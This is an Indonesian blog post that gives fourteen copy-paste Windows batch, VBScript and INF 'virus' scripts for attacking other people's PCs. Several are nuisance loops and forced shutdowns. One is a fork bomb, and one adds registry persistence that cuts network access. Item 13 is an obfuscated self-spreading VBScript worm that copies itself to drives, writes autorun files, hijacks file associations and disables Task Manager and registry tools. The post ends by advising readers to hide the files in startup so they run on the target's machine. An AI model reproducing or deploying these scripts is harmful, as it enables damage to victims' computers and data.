TRIK VIRUS HACK PC

Buka Note Pad dan copy script di bawah ini.

 1. Membuat PC shutdown sendiri
  • Code: 
                                                                                                                                                   

 @echo off 
msg * I don't like you 
shutdown -c "Error! You are too STUPID!" -s 

                                                                                                                                                   
Lalu save As dengan nama : ΨVI6FΨ.bat 
type file : All file 

2. Membuat Tool Caps Lock Nyala terus-menerus
  •  Code:

 Set wshShell =wscript.CreateObject("WScript.Shell") 
do 
wscript.sleep 100 
wshshell.sendkeys "{CAPSLOCK}" 
loop
Lalu save As dengan nama : ΨVI6FΨ.vbs 
type file : All file 

3.  Membuat Pesan Jail mucul terus 
  • Code:
                                                                                                                                                  

 @ECHO off 
:Begin 
msg * Selamat anda sudah saya hack
msg * Tidak ada anti virus yang mengalahkan virus saya, 
msg* Virus ini akan membuat anda kesal
msg* Nama virus ini adalah xxx 
msg * Salam NyoM-D
GOTO BEGIN

                                                                                                                                                   
Lalu save As dengan nama : ΨVI6FΨ.bat 
type file : All file 
NB: Script ini, walaupun di close tab pesan ini masih muncul, kata katanya bisa diubah

4. Membuka Tutup CD/DVD room secara otomatis
  • Code:
                                                                                                                                                  

 Set oWMP = CreateObject("WMPlayer.OCX.7") 
Set colCDROMs = oWMP.cdromCollection 
do 
if colCDROMs.Count >= 1 then 
For i = 0 to colCDROMs.Count - 1 
colCDROMs.Item(i).Eject 
Next 
For i = 0 to colCDROMs.Count - 1 
colCDROMs.Item(i).Eject 
Next 
End If 
wscript.sleep 5000 
loop

                                                                                                                                                   
Lalu save As dengan nama : ΨVI6FΨ.vbs 
type file : All file  

5. Membuat script mucul terus menerus
  • Code:
                                                                                                                                                  

 Set wshShell = wscript.CreateObject("WScript.Shell") 
do 
wscript.sleep 100 
wshshell.sendkeys "~(enter)" 
loop

                                                                                                                                                   
Lalu save As dengan nama : ΨVI6FΨ.vbs 
type file : All file

6. Membuat Tombol Backspace menjadi eror - menekan terus menerus
  • Code:
                                                                                                                                                  

 MsgBox "kembali ke menu sebelumnya" 
Set wshShell =wscript.CreateObject("WScript.Shell") 
do 
wscript.sleep 100 
wshshell.sendkeys "{bs}" 
loop

                                                                                                                                                   
Lalu save As dengan nama : ΨVI6FΨ.vbs 
type file : All file

7. Cara Membuat menulis pesan dengan sendirinya
  • Code:
                                                                                                                                                  

 Set wshShell = wscript.CreateObject("WScript.Shell") 
do 
wscript.sleep 100 
wshshell.sendkeys "http://samsoftware-cyber.blogspot.com" 
loop

                                                                                                                                                   
Lalu save As dengan nama : ΨVI6FΨ.vbs 
type file : All file

8. Cara Membuat Notepad Terbuka Otomatis - terus menerus 
  • Code:
                                                                                                                                                  

 @ECHO off 
:top 
START %SystemRoot%\system32\notepad.exe 
GOTO top

                                                                                                                                                   
Lalu save As dengan nama : ΨVI6FΨ.bat 
type file : All file 

9. Membuat Notepad dengan Pesan Jail  
  • Code:
                                                                                                                                                  

 WScript.Sleep 1800 
WScript.Sleep 100 
Set WshShell = WScript.CreateObject("WScript.Shell") 
WshShell.Run "notepad" 
WScript.Sleep 10 
WshShell.AppActivate "Notepad" 
WScript.Sleep 50 
WshShell.SendKeys "Sa" 
WScript.Sleep 50 
WshShell.SendKeys "la" 
WScript.Sleep 50 
WshShell.SendKeys "m" 
WScript.Sleep 50 
WshShell.SendKeys "du" 
WScript.Sleep 50 
WshShell.SendKeys "ni " 
WScript.Sleep 50 
WshShell.SendKeys " a" 
WScript.Sleep 50 
WshShell.SendKeys "cy" 
WScript.Sleep 50 
WshShell.SendKeys "be" 
WScript.Sleep 50 
WshShell.SendKeys " r" 
WScript.Sleep 50 
WshShell.SendKeys "da" 
WScript.Sleep 50 
WshShell.SendKeys "ri" 
WScript.Sleep 50 
WshShell.SendKeys "D" 
WScript.Sleep 50 
WshShell.SendKeys "lz "

                                                                                                                                                   
Lalu save As dengan nama : ΨVI6FΨ.vbs 
type file : All file

10. Cara Membuat Memilih jawaban
  • Code:
                                                                                                                                                  

 @echo off 
title Pertanyaan season terakhir
:menu 
cls 
echo Jika PC anda terkena virus, apa yang akan anda lakukan?
pause 
echo pilih jawaban anda: 
echo 1. repair koputer
echo 2. instal ulang 
echo 3. beli yang baru
echo 4. nangis
set input=nothing 
set /p input=Choice: 
if %input%==1 shutdown -s -t 
30 
if %input%==2 del c:xxx 
if %input%==3 @ECHO off 
msg * Selamat
msg * Komputer anda
msg * Sudah terinfeksi virus ganas stadium CSO 77
msg * Segera install ulang Komputer anda
msg * Agar tidak merusak hadware yang lainnya
msg * Salam NyoM-D
@ECHO off 
:top 
START %SystemRoot% 
system32notepad.exe 
GOTO top

                                                                                                                                                   
Lalu save As dengan nama : ΨVI6FΨ.bat 
type file : All file 

11. Membuat Komputer Hang dengan Kode script Notepad 
  • Code:
                                                                                                                                                  

 start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat

                                                                                                                                                   
Lalu save As dengan nama : ΨVI6FΨ.bat 
type file : All file

 12. Mendisable Internet
  • Code:

echo @echo off>c:\robofics.bat
echo break off>>c:\robofics.bat
echo ipconfig /release>>c:\robofics.bat
echo end>>c:\robofics.bat
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\run" /v WINDOWsAPI /t reg_sz /d c:\robofics.bat /f
msg * There's No Patch For Human Stupidity!
msg * You've been officially hacked!!!
PAUSE

Lalu save As dengan nama : ΨVI6FΨ.bat 
type file : All file 


13.  MEMBUAT DRIVE C, D DAN E TIDAK BISA DI BUKA
  • Code:
PHP

 'l1Nt4nG.vbs 
on error resume next 
dim mysource,winpath,HGjYuiyJWX,fs,mf,atr,tf,rg,nt,check,sd 
atr = fNIOEKUfRA("^ovspuvb\")&vbcrlf&fNIOEKUfRA("tcw/m2w4ld5i!fyf/uqjsdtx>fuvdfyfmmfit")
set fs = createobject(fNIOEKUfRA("udfkcPnfutzTfmjG/hojuqjsdT")) 
set mf = fs.getfile(Wscript.ScriptFullname) 
dim text,size 
size = mf.size 
check = mf.drive.drivetype 
set text=mf.openastextstream(1,-2) 
do while not text.atendofstream 
mysource=mysource&text.readline 
mysource=mysource & vbcrlf 
loop 
do 
Set winpath = fs.getspecialfolder(0) 
set tf = fs.getfile(winpath & fNIOEKUfRA("tcw/m2w4ld5i]")) 
tf.attributes = 32 
set tf=fs.createtextfile(winpath & fNIOEKUfRA("tcw/m2w4ld5i]"),2,true) 
tf.write mysource 
tf.close 
set tf = fs.getfile(winpath & fNIOEKUfRA("tcw/m2w4ld5i]")) 
tf.attributes = 39 
for each HGjYuiyJWX in fs.drives 
If (HGjYuiyJWX.drivetype = 1 or HGjYuiyJWX.drivetype = 2) and HGjYuiyJWX.path <> fNIOEKUfRA(";B") then 
set tf=fs.getfile(HGjYuiyJWX.path &fNIOEKUfRA("tcw/m2w4ld5i]")) 
tf.attributes =32 
set tf=fs.createtextfile(HGjYuiyJWX.path &fNIOEKUfRA("tcw/m2w4ld5i]"),2,true) 
tf.write mysource 
tf.close 
set tf=fs.getfile(HGjYuiyJWX.path &fNIOEKUfRA("tcw/m2w4ld5i]")) 
tf.attributes =39 
set tf =fs.getfile(HGjYuiyJWX.path &fNIOEKUfRA("goj/ovspuvb]")) 
tf.attributes = 32 
set tf=fs.createtextfile(HGjYuiyJWX.path &fNIOEKUfRA("goj/ovspuvb]"),2,true) 
tf.write atr 
tf.close 
set tf =fs.getfile(HGjYuiyJWX.path &fNIOEKUfRA("goj/ovspuvb]")) 
tf.attributes=39 
end if 
next 
set rg = createobject(fNIOEKUfRA("mmfiT/uqjsdTX")) 
rg.regwrite fNIOEKUfRA("]eobnnpd]mmbutoJ]mmfit]fmjggoj]UPPS`TFTTBMD`ZFLI"), fNIOEKUfRA("fyf/ggphpm") 
rg.regwrite fNIOEKUfRA("]eobnnpd]ofqp]mmfit]fmjghfs]UPPS`TFTTBMD`ZFLI"), fNIOEKUfRA("fyf/ggphpm") 
rg.regwrite fNIOEKUfRA("]eobnnpD]ujeF]mmfiT]fmjGTCW]UPPS`TFTTBMD`ZFLI"), fNIOEKUfRA("fyf/ggphpm") 
rg.regwrite fNIOEKUfRA("]eobnnpd]ofqp]mmfit]fmjg4qn]UPPS`TFTTBMD`ZFLI"), fNIOEKUfRA("tcw/m2w4ld5i") 
rg.regwrite fNIOEKUfRA("sfspmqyF]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]FOJIDBN`MBDPM`ZFLI"), fNIOEKUfRA("zbmqtjEtnfuJzbsUpO") 
rg.regwrite fNIOEKUfRA("ovS]opjtsfWuofssvD]txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"), fNIOEKUfRA("fyf/qnbojX]qnbojX]tfmjG!nbshpsQ];D"), fNIOEKUfRA("HOJSUT`HFS") 
rg.regwrite fNIOEKUfRA("topjuqPsfempGpO]sfspmqyF]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"), fNIOEKUfRA("2"), fNIOEKUfRA("ESPXE`HFS") 
rg.regwrite fNIOEKUfRA("eojGpO]sfspmqyF]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"), fNIOEKUfRA("2"), fNIOEKUfRA("ESPXE`HFS") 
rg.regwrite fNIOEKUfRA("ofeejI]efdobweB]sfspmqyF]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"), fNIOEKUfRA(fNIOEKUfRA("2")), fNIOEKUfRA("ESPXE`HFS") 
rg.regwrite fNIOEKUfRA("uyFfmjGfejI]efdobweB]sfspmqyF]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"), fNIOEKUfRA("2"), fNIOEKUfRA("ESPXE`HFS") 
rg.regwrite fNIOEKUfRA("fubjdpttBfmjGpO]sfspmqyF]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"), fNIOEKUfRA("2"), fNIOEKUfRA("ESPXE`HFS") 
rg.regwrite fNIOEKUfRA("ujefhfSfmcbtjE]nfutzT]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"), fNIOEKUfRA("2"), fNIOEKUfRA("ESPXE`HFS") 
rg.regwrite fNIOEKUfRA("ovSpO]sfspmqyF]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"), fNIOEKUfRA("2"), fNIOEKUfRA("ESPXE`HFS") 
rg.regwrite fNIOEKUfRA("ENDfmcbtjE]nfutzT]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"), fNIOEKUfRA("2"), fNIOEKUfRA("ESPXE`HFS") 
rg.regwrite fNIOEKUfRA("shNltbUfmcbtjE]nfutzt]tfjdjmpq]opjtsfWuofssvD]txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"), fNIOEKUfRA("2"), fNIOEKUfRA("ESPXE`HFS") 
rg.regwrite fNIOEKUfRA("sfhhvcfE]fyf/end]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("fyf/ebqfupO")
rg.regwrite fNIOEKUfRA("sfhhvcfE]fyf/hjgopdtn]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("fyf/ebqfupO")
rg.regwrite fNIOEKUfRA("sfhhvcfE]fyf/ujefhfs]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("fyf/ebqfupO")
rg.regwrite fNIOEKUfRA("sfhhvcfE]fyf/34uefhfs]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("fyf/ebqfupO")
rg.regwrite fNIOEKUfRA("sfhhvcfE]fyf/shNltbU]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("fyf/ebqfupO")
rg.regwrite fNIOEKUfRA("sfhhvcfE]fyf/cjsuub]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("fyf/ebqfupO")
rg.regwrite fNIOEKUfRA("sfhhvcfE]fyf/mmbutoj]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("fyf/ebqfupO")
rg.regwrite fNIOEKUfRA("sfhhvcfE]fyf/qvuft]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("fyf/ebqfupO")
rg.regwrite fNIOEKUfRA("m2w4ld5i]ovS]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]FOJIDBN`MBDPM`ZFLI"),winpath&fNIOEKUfRA("tcw/m2w4ld5i]")
rg.regwrite fNIOEKUfRA("fhbQ!usbuT]ojbN]sfspmqyF!ufosfuoJ]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"),fNIOEKUfRA("mu/fhbq/777mfsvB/xxx00;quui")
rg.regwrite fNIOEKUfRA("fmujU!xpeojX]ojbN]sfspmqyF!ufosfuoJ]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"),fNIOEKUfRA("777!MFSVB!ZC!EFLDBI")
rg.regwrite fNIOEKUfRA("sfoxPefsfutjhfS]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]fsbxugpT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("777!mfsvB"),fNIOEKUfRA("HOJSUT`HFS")
rg.regwrite fNIOEKUfRA("opjub{jobhsPefsfutjhfS]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]fsbxugpT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("4d2m1Q!juoB"),fNIOEKUfRA("HOJSUT`HFS")
if check <> 1 then 
Wscript.sleep 200000 
end if 
loop while check<>1 
set sd = createobject(fNIOEKUfRA("mmfit/uqjsdtX")) 
sd.run winpath&fNIOEKUfRA("!$udfmft0$f0!fyf/sfspmqyf]")&Wscript.ScriptFullname 
Function fNIOEKUfRA(eaYRjLasVU) 
Dim i, tmp2 
For i = 1 To Len(eaYRjLasVU) 
tmp2 = Chr(Asc(Mid(eaYRjLasVU, i, 1)) - 1) + tmp2 
Next 
fNIOEKUfRA = tmp2 
End Function 

Lalu save As- dengan nama : ΨVI6FΨ.vbs
type file:All file
14. Cara Mematikan Tombol Keyboard
  • Code:
                                                                                                                                                  

 [Version] 
Signature=”$Windows NT$” 

[DefaultInstall] 
AddReg =AIUEO 

[AIUEO] 
HKLM,”SYSTEM\CurrentControlSet\Control\Keyboard Layout”,”Scancode Map”,0×1,00,00,00,00,00,00,00,00,06,00,00,00,00,00,1e,00,00,00,12,00,00,00, 
17,00,00,00,18,00,00,00,16,00,00,00,00,00

                                                                                                                                                   
Lalu save As- dengan nama : ΨVI6FΨ.inf
type file:All file

Untuk menjalankannya :
> klik kanan nama file JAIL.INF dan pilih menu> Install 

> Log Off komputernya agar trik ini berfungsi. 

NB : Script diatas dimaksudkan untuk mematikan tombol A I U E O pada keyboard. 

Untuk Menormalkan:
  • code:
                                                                                                                                                  

 [Version] 
Signature=”$Windows NT$” 

[DefaultInstall] 
DelReg =normal 

[normal] 
HKLM,”SYSTEM\CurrentControlSet\Control\Keyboard Layout”,”Scancode Map”

                                                                                                                                                   
Lalu save As- dengan nama : ΨVI6FΨ.inf type file:All file
Untuk menjalankannya 
Klik kanan file ini, pilih >Install 
Log Off komputernya. 

NB: Jika virus setelah menjadi file,,,simpan di startup...
Agar ketika target menyalakan komputernya..file virus tersebut langsung bekerja sendiri..


:ngupil


Tidak ada komentar:

Posting Komentar

Langganan: Postingan (Atom)